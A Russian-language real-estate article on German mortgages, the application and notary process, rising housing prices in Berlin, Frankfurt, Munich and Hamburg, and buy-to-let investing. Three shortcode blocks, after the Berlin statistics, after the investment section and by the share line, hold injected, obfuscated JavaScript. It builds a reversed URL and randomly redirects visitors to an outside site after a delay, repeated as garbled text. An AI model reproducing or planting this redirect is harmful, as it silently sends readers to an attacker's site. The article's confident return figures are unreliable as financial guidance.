Ипотека в Германии: разновидности, национальные особенности и процесс оформления

Любой, кто хочет поселиться в Германии, вполне вероятно будет рассматривать вопрос привлечения ипотечных средств для покупки собственной недвижимости. Несмотря на наличие законов, защищающих интересы квартиросъемщиков, и на то, что Германия традиционно считается страной арендаторов, в покупке собственного жилья есть целый ряд преимуществ, например:

– вам не придется платить арендную плату вплоть до выхода на пенсию;

– рынок недвижимости Германии никогда не был замечен в лихорадочном подъеме и снижении цен, а значит, вложения в этот сегмент можно рассматривать как инвестиции с относительно низким риском;

– инвестируя в недвижимость Германии, вы практически полностью защищаете свои финансы от обесценивания;

– и последнее, но, пожалуй, самое важное: вам больше никогда не придется иметь дело с педантичным или недобросовестным домовладельцем!

Эта статья будет полезна эмигрантам или экспатам, которые планируют купить недвижимость в Германии и ищут объект для постоянного проживания. Покупка инвестиционной недвижимости в Германии – вопрос иной направленности. К нерезидентам, планирующим купить жилье с целью инвестиций, будут применяться различные правила и требования, здесь их затрагивать не будем, сохранив ориентир на тех, кто ищет недвижимость для собственного проживания.

Общие заблуждения

В интернете можно найти обилие информации об ипотеке в Германии, но большая часть статей сфокусирована на иностранных инвесторов, а не на эмигрантов, которые планируют пустить корни на новой родине.

Мнение №1: Вам нужен большой депозит

Одним из наиболее распространенных заблуждений является то, что для получения ипотеки в Германии потребуется значительный первоначальный депозит. Это абсолютно не так! Некоторые источники утверждают, что для одобрения ипотечного кредита немецкими банками заёмщик должен внести 30-40% в качестве первоначального взноса. Это в корне неверно. Хотя сразу стоит оговориться, что большой депозит позволит вам получить более конкурентоспособные ставки и открыть двери к большему спектру финансовых инструментов, но это далеко не самый важный фактор, который определяет вероятность получения ипотечного кредита.

Мнение №2: Получить ипотечный кредит в Германии нерезиденту очень сложно

Еще одно распространенное заблуждение заключается в мифе, что получить ипотеку в Германии сложнее, чем в других европейских странах. Вероятно, это связано с тем, что большинство немцев покупают недвижимость всего раз в жизни (если вообще покупают). Здесь не принято «взбираться по лестнице недвижимости», меняя жилье через несколько лет. Немцы, скорей, купят или построят семейный дом, и останутся в нем до конца жизни.

Возможно, именно поэтому ипотечные продукты не славятся широкой рекламой, а независимых брокеров или консультантов найти не так-то просто, как в других европейских странах, таких как Испания и Великобритания, где покупка недвижимости – это то, к чему стремится большинство молодых людей.

Все перечисленное отнюдь не означает, что банки и ипотечные кредиторы будут «лезть из кожи вон», чтобы одолжить вам деньги. Безусловно, для получения ипотеки вам понадобится постоянная работа, легальный доход и хорошая кредитная история.

Мнение №3: Процесс подачи заявки на получение ипотеки в Германии более строгий

А вот это мнение уже вряд ли можно отнести к ложному представлению. Концепция «шоппинга» с ипотекой и перезакладыванием каждые несколько лет, как это можно сделать в странах с более распространенной культурой приобретения недвижимости в собственность, не приживается на немецкой земле. Это, в сочетании со сниженным спросом на ипотечные продукты в результате особой ментальности, означает, что на местном рынке царит не столь плотная конкуренция. Поэтому потенциальным заемщикам настоятельно рекомендуется изучить вопрос для нахождения сделки с оптимальными условиями, и воспользоваться брокерскими услугами, чтобы точно понять, какие варианты и типы продуктов доступны. Если вы обратитесь только в местный банк, то, скорей всего, окажетесь ограничены в выборе.

Ипотечные кредиты в Германии могут восприниматься как более сложные в получении из-за банков и строительных сберкасс (Bausparkassen), которые по истечении срока договора выдают вкладчикам кредит на покупку жилья. Конечно, любое кредитное общество захочет больше узнать о вас, прежде чем давать деньги. Так, например, правило, действующие в Великобритании, согласно которому банки дают сумму, в 3,5 раза превышающую ваш доход до вычета налогов, абсолютно не применимо в Германии. Это может работать как на вас, так и против, в зависимости от ваших финансовых обстоятельств, возраста, приобретаемой недвижимости, а также района, в котором вы хотите купить жилье.

Банк оценивает сумму ипотеки на основе принимаемого на себя риска.

Фиксированные ставки

Самый распространенный вид получения заемных средств в Германии – фиксировать ипотеку на более длительный срок. Самая популярная опция – ипотека с фиксированной процентной ставкой на 10 лет (хотя кредиты на 15 и даже 20 лет также доступны на рынке). Самый краткосрочный вариант обычно составляет 5 лет.

Очевидно, что явным преимуществом ипотеки с фиксированной ставкой является стабильность и возможность планировать свои финансы на весьма отдаленное будущее. Недостатки выявятся в том случае, если вы заключите договор в неблагоприятное время, а затем процентная ставка значительно снизится. В этом случае вы не сможете изменить текущих условий, пока не придет время для продления договора.

Переплаты и недоплаты

Гибкость платежей по ипотечным кредитам в Германии может быть несколько ограничена. Отсрочка платежа, перерыв или так называемые каникулы – неслыханная роскошь, хотя возможны единовременные долевые выплаты и смещение ставки погашения вверх или вниз для продления или сокращения продолжительности ипотеки.

Общеизвестно, что ипотечные кредиты предлагают вам возможность выплачивать до 5% оставшейся стоимости ипотечного кредита в виде единовременных долевых взносов один раз в год.

Изменение плана погашения (Tilgungsplan или Tilgungsrate) также является общей чертой многих ипотечных кредитов в Германии, хотя количество раз, когда вам разрешено воспользоваться этой опцией, обычно ограничено.

Погашаемая закладная

Закладная для погашения долга или погашаемая закладная – это классический тип ипотеки, предлагаемый в Германии, как и в большинстве других стран мира. «Изюминкой» немецкого варианта является тот факт, что ипотечный кредит обычно создается на основе % займа, что в Германии известно, как Tilgung, в отличие от количества лет, в течение которых должен быть погашен кредит.

Если для сравнения взять Великобританию, где конфигурация ипотечного кредита выстраивается на основе теоретического временного периода для погашения (самый распространенный вариант – 25 лет), то можно увидеть, что немецкая система предложит вам указать, какую часть кредита вы хотите погашать каждый год. Минимум обычно составляет 1%, что, в зависимости от применимой процентной ставки, будет определять размер кредита.

Ипотека с выплатой только процентов

Вариант оформления ипотеки с выплатой только процентов также существует в Германии, но он не пользуется такой же популярностью, как и на более развитых / конкурентоспособных ипотечных рынках. Стоит сразу отметить, что этот способ недоступен тем, что хочет заимствовать большой кредит в стоимостном выражении, то есть если для первоначального взноса у вас есть небольшой депозит.

На подобные кредиты стоит соглашаться только при содействии аннуитетного (рентного) фонда, дабы снизить риски отрицательного капитала и недостаточного обеспечения для погашения кредита. Если вы не получите консультацию независимого ипотечного брокера, маловероятно, что местный банк или онлайн сервис предложит вам такой кредит. Ипотека с выплатой только процентов чаще привлекается для приобретения инвестиционных объектов, чем для финансирования сделки по покупке места постоянного проживания. Дело в том, что ипотечные проценты для инвестиционных объектов в Германии не облагаются налогом, но такая схема совершенно не подходит для домов, занимаемых собственниками.

Кредитный калькулятор

Одна из первых вещей, которые вы, вероятно, захотите сделать после прочтения данной статьи, – это сравнить различные условия и процентные ставки, чтобы выяснить, на какую ипотеку в Германии вы можете рассчитывать. Существует простой способ сделать это онлайн, не ломая голову над составлением таблиц Excel или поиском ипотечного брокера.

Практически все современные банки представлены в мировой «паутине» и на страницах большинства из них есть калькуляторы, позволяющие рассчитать кредит и ознакомиться с условиями, предоставляемыми в конкретном банке. Также можно найти агрегаторы, где собраны инструменты различных финансовых учреждений Германии. Бонусом крупных площадок является представленность на различных языках мира.

После того, как вы определитесь с видом ипотеки, можно переходить к непосредственному оформлению. Вот пошаговое описание этого процесса. Сразу стоит отметить, что немецкие кредиторы оценивают не только стоимость актива, который будет находиться в залоге у банка вплоть до последних выплат, но и финансовое состояние заемщика. На самом деле, ваше финансовое положение так же важно, как и стоимость имущества.

1. Предоставление документов

Для получения и одобрения ипотеки в Германии вам понадобится предоставить документацию, подтверждающую ваш финансовый и личный статус. Как правило, в пакет документов включаются:

— заявка / анкета;

— доказательства благонадежности;

— ведомость по зарплате;

— налоговые декларации;

— копия паспорта;

— вид на жительство (если имеется);

— выписка (справка) из отдела кадров о стаже работы;

— годовые отчеты о прибылях и убытках (для тех, кто работает не по найму).

Также необходимо приложить документы о недвижимости:

— спецификация / описание здания;

— фотографии объекта;

— поэтажный план и отметка в земельном кадастре;

— проект договора купли-продажи.

2. Согласование кредитного отчета (SCHUFA)

Немецкие банки требуют подтверждения стабильной банковской истории. SCHUFA — это репозиторий кредитных данных, который обеспечивает кредитные рейтинги потребителей. Банк обратится к бюро SCHUFA и запросит Bonitätsauskunft.

Вы самостоятельно можете проверить свою кредитную историю (Bonitätsauskunft) и запросить копию.

А что же делать тем, у кого нет записей в SCHUFA? Да, иностранцы, как правило, не имеют следов в немецкой инстанции. В этом случае вам придется затребовать нужный документ в бюро кредитных историй страны вашего предыдущего проживания.

3. Открыть банковский счет в Германии

Расчетный счет в одном из банков Германии является обязательным условием и необходимостью, когда речь заходит о получении ипотеки. В открытии счета нет ничего сложного и зачастую кредитор, выдающий заём, предоставляет счет.

4.Одобрение ипотеки

Рассмотрение заявки и одобрение может занять несколько недель. Окончательный ответ вы получите напрямую из банка или через брокера, который представлял ваши интересы.

5. Проверка личности и закрытие сделки

Прежде чем оформить ипотеку, кредитор должен сверить вашу личность с предоставленной документацией. Для этого вам придется лично явиться в один из филиалов выбранного банка. Эту встречу можно использовать для подписания контракта на финансирование.

Период отзыва

По закону, на все финансовые контракты в Германии распространяется право 14-дневного отзыва, причем отказ от дальнейшего заключения сделки не влечет наложения штрафов. Этот период завершает сделку купли-продажи недвижимости. Покупка недвижимости будет официально завершена после подписания договора купли-продажи с обязательным подписанием документов у нотариуса.

6. Назначение нотариуса
Прежде чем сделка купли-продажи будет официально оформлена, вам нужно будет подписать документ о продаже в нотариальной конторе немецкого специалиста. При этом заключение сделки позволяет покупателю выбрать своего собственного нотариуса. Многие иностранцы об этом не знают, и лишают себя возможности работать с экспертом, говорящим на их родном языке.

7. Просмотр договора
Прежде чем отправляться к нотариусу, всегда просите копию договора купли-продажи. Внимательно изучите договор. Если необходимо, переведите его. Подготовьте любые вопросы, которые у вас возникли, и не стесняйтесь их задавать. Выделите достаточно времени на встречу, чтобы успеть выяснить все недопонимания.

В нотариальной конторе специалист первым делом проверит записи в земельном кадастре, чтобы убедиться, что продавец действительно имеет право продавать недвижимость. Нотариус проверит наличие любых обременений, как то арест, ипотека, сервитут, принадлежность к памятникам культуры и т.д.

Внимательно прочтите договор на предмет изучения прав и обязанностей каждой из сторон. Также договор предусматривает штрафные санкции за несоблюдение условий одной из сторон.

Процесс подписания

При подписании договора купли-продажи нотариус вслух зачитывает документ, при этом он должен быть уверен, что обе стороны полностью понимают содержание контракта. По закону, договор зачитывается на немецком языке. Если вы не полностью понимаете изложенные в нем пункты, то можете прерывать чтение и задавать вопросы. Кроме того, вы имеете право пригласить в нотариальную контору профессионального переводчика (за дополнительную плату).

Смена владельца

После того, как все стороны подпишут акт о продаже, нотариус в муниципальном органе зарегистрирует смену прав собственности. Затем изменения вносятся в земельный регистр.

8. Сделка

К этому моменту вы получаете ипотечный кредит и подписанный договор купли-продажи. Теперь все стороны должны действовать согласно условиям, изложенным в контракте. Если вы приобретаете уже готовый объект, то банк перечисляет платеж единой суммой. В случае покупки недвижимости на стадии строительства, платежи будут совершаться банком поэтапно.

*Отказ от ответственности:
Эта статья предназначена для ознакомления с основами рынка ипотечного кредитования в Германии и никоим образом не должна рассматриваться как альтернатива независимым финансовым консультациям отраслевых экспертов. Хотя статья фактически точна, покупка недвижимости и получение ипотеки – это тема, достойная гораздо большего количества времени и деталей, чем изложены в одном универсальном тексте.

Тенденции рынка жилой недвижимости Германии

Германия продолжает укреплять свои позиции в роли безопасной европейской гавани для размещения капитала. Четыре из шести ведущих мегаполисов Европы, чей рынок недвижимости особенно привлекателен с инвестиционной точки зрения, находятся в Германии: Берлин, Франкфурт, Мюнхен и Гамбург. Несмотря на некоторую стагнацию, в целом зафиксированную на рынке, в последние годы цены на жилую недвижимость Германии продолжают расти.

Лидеры отрасли утверждают, что и без того устойчивая экономическая ситуация продолжает наращивать свой рост: так в 2017 году рост ВВП Германии достиг 6-летнего максимума и зафиксировался на отметке 2,2%. Уровень безработицы также снизился до 3,6%, что стало самым низким показателем за последние 20 лет.

Аналитики германского института по делам развития городских территорий утверждают, что «В престижных районах городов страны отмечен значительный рост сегмента жилой недвижимости. Эксперты отрасли ожидают, что эта тенденция сохранится на долгие годы».

Высокая трудовая миграция, низкие процентные ставки по кредитам и слабая активность строительного сектора стимулируют спрос и цены на жилье в Германии. Это особенно актуально для премиальных районов Берлина, Франкфурта, Мюнхена и Гамбурга.

Динамика цен на недвижимость основных мегаполисов в период 2014-2017 гг.

Стоимость квадратного метра в I полугодии 2018 г. (квартиры площадью 40-80 кв. м.)

Берлин

Берлин – самая густонаселенная городская территория Германии, где на постоянной основе проживает более 3,5 миллионов человек. Репутация города как эпицентра современных технологий, средств массовой информации и многочисленных стартапов продолжает стимулировать сектор жилой недвижимости.

Тем не менее по сравнению с другими европейскими мегаполисами стоимость недвижимости в столице Германии значительно ниже. Например, жилье в Берлине стоит в 2-3 раза дешевле, чем в Париже и почти в 5 раз доступней недвижимости Лондона в сопоставимых центральных локациях.

Столь стремительный рост показателей Берлина и всего столичного региона обоснован притоком населения, в основном, молодых и хорошо образованных жителей, которые связывают с мегаполисом реализацию собственного потенциала и видят в городе широкие возможности для развития бизнеса. Эти факторы, как полагают эксперты, продолжают стимулировать бум на рынке недвижимости премиальных районов. Учитывая тот факт, что нет никаких предпосылок к кардинальному изменению действующих рычагов, можно сделать вывод, что активность и рост показателей местного рынка имеют устойчивую тенденцию.

В 2016 году прирост численности населения превысил 60 000 человек, по сравнению со средним ежегодным показателем в 45 000 (с 2011 по 2015 год). Рост 2016 года стал самым сильным с момента воссоединения двух частей страны. Даже 11 000 единиц жилья, построенных и введенных в эксплуатацию в 2016 году, было недостаточно, чтобы удовлетворить растущий спрос. В настоящее время Берлину ежегодно требуется более 20 000 единиц жилых объектов. Принимая во внимание избыточный спрос, сложившийся за последние несколько лет, дефицит жилья составляет 80 000 объектов.

Динамика цен на квартиры Берлина

Франкфурт

Как говорят аналитики: «Больше всех от Brexit’а выиграет Германия и Франкфурт».

«Дом» Европейского центробанка, Франкфурт считается финансовым и коммерческим сердцем Германии. На сегодняшний день город как магнит притягивает как крупный бизнес, так и частных инвесторов.

Помимо банковского дела, весь франкфуртский регион аккумулирует вокруг себя крупный страховые, фармацевтические и юридические компании. В городе также базируется много известных и крупных торговых ярмарок. Франкфуртский автосалон – крупнейшее автомобильное шоу в мире. Аналогично, Франкфуртская книжная ярмарка является самой большой в мире.

Уже сегодня Франкфурт на себе чувствует ощутимые выгоды от решения Соединенного Королевства покинуть Европейский Союз. Некоторые международные банки, такие как Standard Chartered, Morgan Stanley и Nomura, планируют разместить свои европейские штаб-квартиры именно во Франкфурте. Другие финансовые организации, например, Citi и Deutsche Bank, планируют усилить свое присутствие в городе. По прогнозам Ассоциации иностранных банков, Brexit создаст от 3000 до 5000 рабочих мест во Франкфурте в течение следующих двух лет. Численность населения Франкфурта также быстро растет. В 2017 году население города составляло 700 000 человек, а к 2027 году эта цифра, вероятно, достигнет 800 000 человек.

Этот импульс усилит нехватку жилья в Германии и, в частности, спровоцирует спрос на элитные семейные дома. В 2016 году в городе было построено 3500 новых домов. Этот показатель значительно ниже спроса, который показывает, что ежегодно портфель недвижимости Франкфурта должен увеличиваться на 6000 объектов. Цены на жилье и ставки арендной платы продолжают планомерно расти.

Еще до «Брексита» инвесторы назвали Франкфурт новой европейской «горячей точкой», где выгодно приобретать недвижимость для ее последующей сдачи в аренду. Многие считают, что Франкфурт находится на ранних стадиях лондонского бума рынка недвижимости и утверждают, что рост только начался.

Динамика цен на квартиры Франкфурта

Мюнхен

Третий по величине город Германии – столица Баварии. Здесь базируется множество крупных университетов, есть ряд всемирно известных музеев и архитектурных достопримечательностей. Город также хорошо известен высоким качеством жизни: в 2018 году авторитетный индекс Mercer поставил Мюнхен на третью строчку в мире (среди 230 городов) и на первое место по Германии в вопросе уровня жизни местных жителей.

Картина с рынком жилой недвижимости Мюнхена аналогична той, что сложилась во Франкфурте и в Берлине. За период с 2011 по 2016 гг. ежегодно здесь строилось 6700 единиц жилья. В 2016 году исследователи оценили спрос на уровне 10 500 объектов, а чтобы поглотить избыточный спрос предыдущих лет Мюнхен должен строить и вводить до 20 000 жилых единиц в год.

Чтобы покрыть потребность и обеспечить объективно требуемое количество жилья, строительная деятельность должна продолжить расширение от центра города к окраинам. Что касается жилой недвижимости города, то существующий ценник смело можно назвать «космическим».

В отчете 2018 компании PWC по развивающимся тенденциям в сфере недвижимости сказано: «Все земли в интересных локациях Мюнхена уже застроены, поэтому строительство должно переходить в районы следующего уровня».

Динамика цен на квартиры Мюнхена

Гамбург

Гамбург – второй по величине город Германии. Известный своим неофициальным названием «Ворота в мир», Гамбург также может похвастаться наличием третьего по величине порта Европы. Кроме того, город считается одним из основных туристических эпицентров Германии. В 2015 году ЮНЕСКО объявила Speicherstadt, уникальный складской район, заложенный на дубовых бревнах, объектом Всемирного наследия. Несмотря на стабильный турпоток, экономика Гамбурга не привязана исключительно к туристической активности. Здесь процветает малый и средний бизнес, а сектор международный торговли и бизнес-услуг представлен не хуже, чем в столице.

Стоимость местной недвижимости сравнительно высока. Тем не менее, строительная деятельность по-прежнему не способна удовлетворить существующий спрос. В течение 2016 года в городе было построено 7050 жилых объектов, а это меньше половины от того, что, по оценкам специалистов аналитической компании JLL, ежегодно требуется городу. Стремясь удовлетворить спрос, город недавно установил новую цель: строить и вводить 10 000 единиц жилья в год.

Динамика цен на квартиры Гамбурга

Берлин возглавил рейтинг из 150 городов с самым активным ростом цен на недвижимость.

По итогам 2017 года цены на недвижимость в Берлине взлетели на 20,5%, опередив все мегаполисы мира, попавшие в исследовательскую выборку. Три других города Германии (Гамбург (+14,1%), Мюнхен (+13,8%) и Франкфурт (+13,4%)) также вошли в десятку лидеров по росту стоимости жилья.

Исследование показало, что в среднем мировые цены на недвижимость в 2017 году снизились на 4,5%, тогда как в 2016 г. падение на глобальном уровне составило порядка 7%.

В 2016 г. в 12 мировых мегаполисах было отмечено подорожание более чем на 20%, однако годом позднее таким ростом смог похвастаться только Берлин.

Столь стремительный подъем объясняется сильным приростом численности населения, устойчивым экономическим развитием, благоприятными условиями для ведения бизнеса, рекордно низким уровнем безработицы и стабильным интересом к недвижимости Берлина со стороны зарубежных инвесторов. Совокупность этих факторов и повлияла на рост цен.

В Берлине, где недвижимость считалась максимально доступной на протяжении большей части двух последних десятилетий, с 2004 года средние цены на жилье выросли на 120%, а за последние три года увеличились более чем на треть. При этом центробанк Германии, предположил, что стоимость жилых объектов в большинстве городов Германии переоценена на 15-30%, а в столице эта цифра и вовсе достигает 35%. На данный момент один «квадрат» в Берлине в среднем продается по цене €3700-4200.

Несмотря на признаки «перегрева» рынка, все еще относительно низкие цены на местные объекты по-прежнему привлекают иностранные инвестиции, поскольку аналитики продолжают считать Берлин одним из самых привлекательных рынков недвижимости Европы. Многие иностранные инвесторы, включая Уоррена Баффета, который подписал соглашение о покупке элитной жилой недвижимости в Берлине, приобретают объекты и сдают их в аренду, получая при этом стабильный пассивный доход. На сегодняшний день берлинскими районами с наиболее ликвидными объектами считаются Фридрихсхайн, Кройцберг и Нойкельн, а самыми престижными остаются Митте, Кёпеник и Целендорф, где за роскошную квартиру с тремя спальнями придется заплатить более €1 млн.

Учитывая постоянный рост численности населения – на данный момент в столице проживает 3,5 млн, к 2030 г. число жителей должно увеличиться на 10,3%, а к 2035 г., по прогнозам, достигнет 4 млн – наличие ликвидной недвижимости в Берлине можно считать грамотным и продуманным инвестиционным ходом.

По оценкам специалистов, в ближайшие два года активный рост цен на недвижимость Берлина должен пойти на убыль: спрос и предложение приходят в относительный баланс, а внутренняя миграция ослабевает, что, вероятно, окажет «охлаждающий эффект» на цены.

Берлин: рынок недвижимости в цифрах

● ставки арендной платы в Берлине в период с 2012 по 2017 гг. увеличились на 33%;

● на сегодняшний день рынок недвижимости Берлина предлагает 1,9 млн объектов;

● Берлин – второй по активности рынок недвижимости региона: за период с IV квартала 2016 г. по III квартал 2017 г. он привлек инвестиции на сумму €9 млрд. За тот же период в Лондон и Париж было вложено €31 млрд и €8 млрд соответственно;

● Более половины (54%) жителей Берлина живут в одиночестве, а значит, компактные апартаменты считаются здесь наиболее ликвидными и арендопригодными;

● более 85% жилой недвижимости Берлина заняты арендаторами;

● в среднем, на оплату аренды недвижимости жители Берлина тратят 21% от совокупного семейного дохода;

● самая дорогая недвижимость, проданная в начале 2018 года, находилась в центральном округе Митте и стоила €31 880 / кв. м.

[separatoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tor toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}top_margin=»30″]

Германия — благополучная страна, большинство граждан которой не испытывают финансовых затруднений. Несмотря на это, далеко не все, владеющие достаточной суммой и имеющие возможность оформить кредит в банке, спешат приобрести недвижимость. Ощутимые субсидии от государства помогают им арендовать жилье и менять его в случае необходимости и желания. Благодаря этой особенности инвестиции в арендный бизнес в Германии достаточно выгодны, при условии учета некоторых важных аспектов и ответственного подхода к выбору объектов для финансовых вложений.

Арендный бизнес в Германии

Рентабельность инвестиций в недвижимость экономически стабильной страны не вызывает сомнений, однако просчитать окупаемость вложений не так просто. Она зависит от нескольких факторов, в первую очередь — от правильного выбора объекта. Рассматривая предложения, стоит обратить особое внимание на:

• географическое расположение — во Франкфурте, Мюнхене, Берлине, Гамбурге гораздо больше шансов организовать прибыльный бизнес, чем в небольших населенных пунктах. Однако и первоначальные вложения существенно отличаются — квартиры и дома в пригородных районах мегаполисов раз в 5 дороже, чем, например, в небольших населенных пунктах на востоке страны;

• техническое состояние здания, его возраст и тип — от этого будут зависеть отправные расходы и привлекательность для арендаторов;

• назначение — при сдаче помещения под офис рентабельность несколько выше, чем при договоре на временное проживание;

• перспективность района — его активное развитие ведет к увеличению стоимости недвижимости и количества потенциальных съемщиков жилья;

• наличие правовых ограничений — помощь опытных специалистов позволяет решить множество проблем, в том числе — снизить налоговое бремя.

Дешевая или эксклюзивная недвижимость — что выгоднее?

На первый взгляд абсурдный вопрос вполне логичен. Специалисты предостерегают — экономия при покупке слишком дешевой недвижимости не сулит большой прибыли, а расположение в не совсем благополучных районах может быть чревато проблемами с арендной платой и продажей в будущем. По оценкам зарубежных экспертов, в среднем при вложении 10-20 тыс.евро можно рассчитывать лишь на сохранение денежных средств, при покупке объекта за 50-60 тыс.евро стоит ожидать прибыли в размере не более 3% годовых, приобретение недвижимости стоимостью от 200 000 евро обещает владельцу ежегодное увеличение капитала на 10% и даже более. Цифры приведены в качестве наглядного примера и отражают средний показатель. Планируя инвестиции, просчитывать возможную прибыль следует с учетом вышеуказанных параметров. Приобретая готовый арендный бизнес, в некоторых случаях можно рассчитывать на доходность свыше 12-13%.

Особенности арендного бизнеса в Германии

Благополучное правовое государство в равной степени стоит на страже интересов арендаторов и владельцев недвижимости. Закон четко определяет права и обязанности обеих сторон, и некоторые нюансы потенциальный бизнесмен знать просто обязан:

• договор аренды может быть с указанием времени его действия (1-3 года) или бессрочным. Выгоднее первый вариант, так как выселить злостного неплательщика при действующем договоре без указания срока проживания слишком проблематично;

• обязанность оплаты коммунальных платежей (электричества, воды и газа, интернета и телефона) лежит на съемщике жилья, для чего счета оформляются на его имя;

• по немецкому законодательству арендатор обязан вернуть жилье владельцу в том же виде, в котором получил его. Разбитые стекла, текущие трубы и прочие неприятности должны быть устранены до отъезда из квартиры;

• к текущим расходам владельца недвижимости следует добавить оплату управляющей компании (при заключении договора с ней), капитальный ремонт помещения, оплату налогов.

Почему именно Германия — привлекательность немецкой недвижимости

Нестабильность российской экономики побуждает задуматься о сохранности своих средств. Прекрасную возможность для этого открывает покупка недвижимого объекта за границей. Однако в последние годы в некоторых странах Европы процесс нормализации цен на недвижимость находится в активной фазе, в других — лишь начинается, а в Германии уже 3-4 года назад стартовала уверенная тенденция к быстрому повышению стоимости жилья. Специалисты прогнозируют сохранение этого фактора на ближайшие несколько лет, поэтому вернуть вложения возможно достаточно быстро.

Среди дополнительных преимуществ инвестиций в немецкую недвижимость и арендный бизнес:

• экономическая стабильность;

• прозрачность понятного законодательства;

• четко прописанный алгоритм сделок с недвижимостью;

• доступная стоимость жилья по сравнению со многими странами Евросоюза;

• уверенное опережение инфляции ростом арендных ставок.

Налоговые вычеты для арендодателей, не имеющих гражданства, варьируются в диапазоне 14-42%, от полученного дохода отнимаются неизбежные затраты на содержание и обслуживание объекта. Но даже с учетом достаточно высоких сумм, доходность от инвестиций составляет в среднем 4-13%.

Покупка недвижимости в Германии — это приобретение комфортного жилища и возможность посещать гостеприимную страну в любое удобное время. Но главное достоинство выгодной сделки — пассивный доход от сдачи его в аренду дает возможность сохранить и приумножить свое состояние. Воспользуйтесь обширной базой данных риелторской компании и опытом в проведении сделок ее квалифицированными сотрудниками. Доверяя решение юридических и налоговых вопросов специалистам, вы получаете ожидаемый результат — процесс выгодной инвестиции пройдет без возможных рисков, конфиденциально и максимально быстро.

[separatoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tor toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}top_margin=»25″]

Поделиться с друзьями

[separatoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tor toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}top_margin=»-35″]

Как найти маклера в Германии

